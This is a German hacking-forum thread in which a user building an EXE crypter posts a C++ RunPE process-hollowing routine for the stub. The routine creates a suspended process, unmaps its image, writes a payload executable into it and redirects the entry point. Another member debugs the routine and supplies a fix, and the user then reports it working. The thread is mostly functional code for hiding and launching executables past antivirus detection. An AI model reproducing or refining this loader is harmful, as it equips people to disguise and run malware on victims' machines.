Ergebnis 1 bis 6 von 6
  1. #1
    Anfänger
    Registriert seit
    26.05.2007
    Beiträge
    17

    Standard Problem; PE Image loader fehler

    Hallo,
    Ich habe mich jetzt seit zwei wochen mit exe cryptern auseinandergesetzt. Mein builder + stub sind fast fertig , nur die stub arbeitet nicht nach meinen "wünschen". das problem ist das die stub mein testapp nicht als prozess laden kann.

    Hier meine funktion um die PE image aus dem memory zu laden.

    PHP-Code:
    /* 
    --_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_ 
    runPE( 
    dosheader ptr, 
    ntheader ptr, 
    sectionheader ptr, 
    ptr to exebuffer, 
    DWORD SizeOfImage(Alignment fixed)) 
    _--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_-- 
    */ 
    int runPE2(IMAGE_DOS_HEADERpDOS,IMAGE_NT_HEADERS pNT,IMAGE_SECTION_HEADER pSection,charpData,DWORD szImage

        
    STARTUPINFO si = {0}; 
        
    PROCESS_INFORMATION pi
        
    CONTEXT ctx

        if(
    CreateProcess(NULL,szFileName,NULLNULL0CREATE_SUSPENDEDNULLNULL, &si,&pi)) 
        { 
            
    ctx.ContextFlags CONTEXT_FULL
            if(!
    GetThreadContext(pi.hThread,&ctx)) 
            { 
                
    MessageBoxA(0,"GetThreadContext Error!","Error",0); 
            } 
            
    DWORD dwImagebase NULL
            
    DWORD dwBytesRead NULL
            
    DWORD dwByteswritten NULL
            
    DWORD dwOldProtection NULL

            if(!
    ReadProcessMemory(pi.hProcess,(LPVOID)(ctx.Ebx 8),&dwImagebase,sizeof(DWORD),&dwBytesRead)) 
            { 
                
    MessageBoxA(0,"RPM Error!","Error",0); 
            } 
            
    VirtualProtect(&pNT->OptionalHeader.ImageBase,sizeof(DWORD),PAGE_READWRITE,&dwOldProtection); 
            
    pNT->OptionalHeader.ImageBase dwImagebase
            
    VirtualProtect(&pNT->OptionalHeader.ImageBase,sizeof(DWORD),dwOldProtection,&dwOldProtection); 
             

            
    UnmapViewOfSection_ pZwUnmapViewOfSection = (UnmapViewOfSection_)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); 

            if(
    pZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwImagebase) != 0
            { 
                
    MessageBoxA(0,"Unmaping Error!","Error",0); 
            } 

            
    voidnewBase VirtualAllocEx(pi.hProcess, (LPVOID)pNT->OptionalHeader.ImageBase,szImageMEM_RESERVE MEM_COMMITPAGE_EXECUTE_READWRITE); 
            if(!
    newBase
            { 
                
    MessageBoxA(0,"Allocting Error!","Error",0); 
            } 

            if(!
    WriteProcessMemory(pi.hProcess,(LPVOID)(ctx.Ebx 8),newBasesizeof(DWORD), &dwByteswritten)) 
            { 
                
    MessageBoxA(0,"WPM Imagebase Error!","Error",0); 
            } 

            if(!
    WriteProcessMemory(pi.hProcess,newBase,pData,pNT->OptionalHeader.SizeOfHeaders, &dwByteswritten)) 
            { 
                
    MessageBoxA(0,"WPM SizeOfHeaders Error!","Error",0); 
            } 

            for(
    int i 0pNT->FileHeader.NumberOfSectionsi++) 
            { 
                
    pSection = (PIMAGE_SECTION_HEADER)((char*)(pData pDOS->e_lfanew +  sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i)); 
                if(!
    WriteProcessMemory(pi.hProcess,(char*)(pNT->OptionalHeader.ImageBase pSection->VirtualAddress),(char*)(pData pSection->PointerToRawData),pSection->SizeOfRawData, &dwByteswritten)) 
                { 
                    
    MessageBoxA(0,"WPM in LOOP Error!","Error",0); 
                } 
            } 

            
    ctx.Eax = (DWORD)newBase pNT->OptionalHeader.AddressOfEntryPoint;        // eax holds new entry point 

            
    if(!SetThreadContext(pi.hThread,&ctx)) 
            { 
                
    MessageBoxA(0,"SetThreadContext Error!","Error",0); 
            } 

            if(!
    ResumeThread(pi.hThread)) 
            { 
                
    MessageBoxA(0,"ResumeThread Error!","Error",0); 
            } 

            
    CloseHandle(pi.hThread); 
            
    CloseHandle(pi.hProcess); 
             
            
    //TerminateProcess(pi.hProcess,0); 

            
    return 1
        } 
        return -
    1

    Nach dem Aufruf von ResumeThread bekomme ich die fehlermeldung "The application was unable to start correctly (0xc0000005)"

    Informationen:
    Windows 7
    compiler VC++ 2010
    ziel; "Hello World" Programm; win32 console

    Vielen Dank fürs durchlesen

  2. #2
    Der mit Anatidaephobie Avatar von blackberry
    Registriert seit
    11.07.2008
    Beiträge
    2.350

    Standard

    Bevor du dir anschaust, was der Fehler war, möchte ich dich warnen es nicht zu tun.


    Achso - btw:
    Um das zu debuggen habe ich gleich mal ein Testprojekt gemacht.
    Download:
    RapidShare: 1-CLICK Web hosting - Easy Filehosting

    Sonst habe ich noch NtUnmapViewOfSection statisch gelinkt. Die Definition findest du in
    #include <ddk/ntddk.h>
    und die Funktion ist in libntdll.a (zumindest bei Dev-C++ heißt die Lib so...).
    Das hat mir erspart die Typdefinition rauszusuchen, weil du UnmapViewOfSection_ nicht angegeben hast...


    MfG. BlackBerry

    EDIT:
    btw #2:
    Wäre übringens echt leichter gewesen deine Funktion zu testen, wenn die eigenständiger wäre; wenn man dir schon nen Pointer auf IMAGE_DOS_HEADER übergibt, dann kannst du dir auch gleich IMAGE_NT_HEADERS dazu finden; außerdem ist die Angabe des Buffers dann auch nicht mehr notwenig, da IMAGE_DOS_HEADER direkt am Anfang des Buffers ist; d.h. die Zeiger haben beide den selben Inhalt - das ganze ist also redundant.
    Zudem solltest du das IMAGE_SECTION_HEADER Ding als lokale Funktionsvariable implementieren, weil du das gar nicht als Parameter verwendest - ich habe mich zu aller erst gefragt was das als Parameter sein soll und nach CTRL+F und pSection habe ich dann erstmal nicht schlecht gestaunt als du dem gleich einen Wert zugewiesen hast, ohne dich darum zu kümmern was da drin war.
    Beim Aufruf im Testprogramm habe ich da jetzt einfach 0 übergeben... ich würde dir aber empfehlen das nochmal zu überarbeiten.
    Geändert von blackberry (20.06.2010 um 21:27 Uhr)

    PDFTT cr3w a.E. — ReiDC0Re, lindor, Sera, berry
    please do feed the trolls crew and elk
    Ehrenwerte Mitglieder im Ruhestand: OpCodez, SFX.
    "Was sich blackberry gerade denkt" — Vorsicht! Frei laufender Wahnsinn!
    Zitat von fuckinghot19: "PS: Blackberry ist auf FH der Trollkönig ^^."
    An dieser Stelle danke ich all meinen Fans und Hatern gleichermaßen ^.^

  3. #3
    Anfänger
    Registriert seit
    26.05.2007
    Beiträge
    17

    Standard

    Hey Blackberry vielen dank für deine hilfe.. Doch jetzt ist noch ein problem aufgetreten und zwar lädt meine stub.exe ja die EXEdatei aus einer resource, also muss der prozess name also der "dummy" prozesss ja die stub.exe sein. Iwie funktioniert das nicht :S. Hab mich denn mit olly debugger rangesetzt und rausgefunden das die ziel exe startet doch das IAT ist falsch muss jetzt erstmal off..

  4. #4
    Der mit Anatidaephobie Avatar von blackberry
    Registriert seit
    11.07.2008
    Beiträge
    2.350

    Standard

    Was heißt der IAT ist falsch?
    Der befindet sich in einer Section und du schreibst ja alle Sections in den Speicher.
    Beim ResumeThread übernimmt Windows alle weiteren Sachen, wie u.a. laden der DLLs und das Füllen des IT mit den richtigen Adressen.

    Das einzige was mir noch auffällt, ist das der Code einen Fehler gibt, wenn man eine Section mit der größe 0 schreiben will (was bei einigen .EXEn teilweise wirklich vorkommt...)

    Fix:
    if (!pSection->SizeOfRawData) continue;
    vor
    if(!WriteProcessMemory(pi.hProcess,(char*)(pNT->OptionalHeader.ImageBase + pSection->VirtualAddress),(char*)(pData + pSection->PointerToRawData),pSection->SizeOfRawData, &dwByteswritten))

    Ansonsten habe ich keine Ahnung was du jetzt genau meinst...

    PDFTT cr3w a.E. — ReiDC0Re, lindor, Sera, berry
    please do feed the trolls crew and elk
    Ehrenwerte Mitglieder im Ruhestand: OpCodez, SFX.
    "Was sich blackberry gerade denkt" — Vorsicht! Frei laufender Wahnsinn!
    Zitat von fuckinghot19: "PS: Blackberry ist auf FH der Trollkönig ^^."
    An dieser Stelle danke ich all meinen Fans und Hatern gleichermaßen ^.^

  5. #5
    Anfänger
    Registriert seit
    26.05.2007
    Beiträge
    17

    Standard

    Hab mri nen VB src geholt umgeschrieben und paar fixes aus "dynamic win32 exe forking" geholt. Läuft perfekt Danke Blackberry , jetzt waren meine zwei wochen arbeit nicht umsonst.

    Auch nochmal danke für den SizeOfRawData fix

    kann geclosed werden

  6. #6
    Der mit Anatidaephobie Avatar von blackberry
    Registriert seit
    11.07.2008
    Beiträge
    2.350

    Standard

    Wo lag denn nun der Fehler, wenn ich fragen darf? :>

    PDFTT cr3w a.E. — ReiDC0Re, lindor, Sera, berry
    please do feed the trolls crew and elk
    Ehrenwerte Mitglieder im Ruhestand: OpCodez, SFX.
    "Was sich blackberry gerade denkt" — Vorsicht! Frei laufender Wahnsinn!
    Zitat von fuckinghot19: "PS: Blackberry ist auf FH der Trollkönig ^^."
    An dieser Stelle danke ich all meinen Fans und Hatern gleichermaßen ^.^

Ähnliche Themen

  1. PS3 Iso Loader?!
    Von SysFuck3r im Forum Konsolen Modding/Tuning
    Antworten: 15
    Letzter Beitrag: 24.12.2008, 20:11
  2. Antworten: 0
    Letzter Beitrag: 30.11.2008, 21:46
  3. Problem beim Connecten zu SwissVPN (Fehler 691)
    Von mbeezy im Forum Anonymität & Proxies
    Antworten: 0
    Letzter Beitrag: 26.11.2008, 11:56
  4. Problem mit Image Ready
    Von mp93 im Forum Webmaster
    Antworten: 5
    Letzter Beitrag: 21.08.2008, 19:02

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •